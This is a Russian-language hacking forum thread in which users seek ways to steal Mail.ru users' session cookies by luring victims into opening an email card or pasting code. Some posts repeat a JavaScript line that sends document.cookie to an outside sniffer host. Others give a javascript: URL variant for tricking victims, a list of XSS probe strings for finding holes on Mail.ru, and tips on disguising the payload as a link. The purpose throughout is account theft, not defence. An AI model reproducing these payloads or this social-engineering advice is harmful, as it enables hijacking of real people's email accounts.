Взлом Mail.ru со сниффером

[6o6er]

Всем привет! :bq:
Ещё есть какие то фишки с хаком типа:
ты отсылаешь на мыло картинку(или что то другое), жертва открывает её и к тебе на сниффер приходят куки.
Если есть, то напишите как)))или дайте линк)))
заранее спасибо!:smartass:

[Voland-791]

Мне каждый день приходят всякие типо акции,розыгрыши,опросы за которые типо платят,фейки,предупреждени я тип отправте смс..,рассылка тип чтобы от неё отписаться пройдите по ссылочке... Из всех этих кидал можно придумать одно хорошое!)))

[ROCK_sTaR]

Пассивка >alert() и пошёл по страницам искать, подставляя это в адресную строку...

[denis555]

нам тут гадать? для понта выложи код открытки тд и тп.

[zzzz_sasha_zzzz]

Цитата:

Сообщение от without_soul

hhhhh

Добавлено через 3 минуты
Подскажите плз :отправляю через снифер открытку яваскрипт,на мыло ,а в лог ничего не приходит после просмотра....да и при открытии не показывает картинку ,на которую вставил ссылку.....только пытаюсь учиться...!

для того чтоб приходило нужно найти пасивную xss на мыле как ето сделать?читай немного выше!
у тебя не прихдит так как пасивка уже не работает!

[Nekto321]

А как искать пассивку?
Просто подставлять в конец адресной строки alert() ?

у меня есть одна пассивка на маил ру, но работает только когда не вошел под аккаунтом ...
как только входишь, то уже не работает..:wink:

подскажите как решить или пассивка уже не работает ?

[terris]

да о каком сниффере может идти речь на маил.ру??? Фотка-сниффер там уже не пашет!!!

[pavleg]

обоснуй почему по твоему открытка не пашет?

[terris]

img = new Image(); img.src = "http://httpz.ru/nxmmbz4cf20.gif?"+document.cookie;
пишет "неверный формат изображения". невозможно открыть изображение прям там же.куки не приходят. а насчет скрипта для адресной строки javascript:document.write('img = new Image(); img.src = "http://httpz.ru/nxmmbz4cf20.gif?"+document.cookie;') этот код вобще невозможно вставить как ссылку и подсунуть юзеру. или у кого получается? поделитесь,жаль чтоли?

Добавлено через 1 минуту
да не пашет на маил.ру это img = new Image(); img.src = "http://httpz.ru/nxmmbz4cf20.gif?"+document.cookie;
пишет "неверный формат изображения". невозможно открыть изображение прям там же.куки не приходят. а насчет скрипта для адресной строки javascript:document.write('img = new Image(); img.src = "http://httpz.ru/nxmmbz4cf20.gif?"+document.cookie;') этот код вобще невозможно вставить как ссылку и подсунуть юзеру.

[vik3001]

Вотвот, согласен с terris куки неприходят, а заставить жертву скопировать и вставить код в адресную строку, причём в тойже вкладке что и письмо думаю нереально.

Добавлено через 1 минуту
(JavaScript код для адресной строки c редиректом действительно работает и куки приходят)

[terris]

vik3001,ты видимо не понял меня. если заставить жертву вставить на адресную строку тот
code:

javascript:document.write('img = new Image(); img.src = "http://httpz.ru/nxmmbz4cf20.gif?"+document.cookie;')

то придут куки.Но...вот в чем моя проблема не могу создать ссылку в которую можно было бы вставить тот самый
code:

javascript:document.write('img = new Image(); img.src = "http://httpz.ru/nxmmbz4cf20.gif?"+document.cookie;')

и еще ведь на mail.ru уже с открыткой в которой код
code:


img = new Image(); img.src = "http://httpz.ru/nxmmbz4cf20.gif?"+document.cookie;


не получается стырить куки!!!

[Bond010296]

чтобы стырить надо жертву заставить явакод для адресной строки себе вставить( А это не так просто! Вот еслибы его можно было под ссылку замаскировать то было-бы гуд)

[firs94]

Цитата:

Сообщение от ROCK_sTaR

Пассивка >alert() и пошёл по страницам искать, подставляя это в адресную строку...

всмысле так искать пасивку а вот как узнать что ты её нашеел и где можон искать и как её добавлять после ссылки типа
http://hacker-pro.net/newreply.php?do=newreply&p=105559>alert()

[al1916]

пробуйте подставлять в адресную строку вот эти скрипты для проверки уязвимости:
alert()
">alert()
'>">alert(/XSS/)
alert('xss')
alert('A');
">alert(document .cookie)

[forumrulez]

Люди пользуйтесь XSS ето лутше всего чем посылать жертве огромный скрипт

[Rahim1]

XSS как ее найти. Я новичек еще. И alert() давно уже неработает

[artmaer]

http://files.webmoney.ru/files/1zSXfSQb/link?direct=yes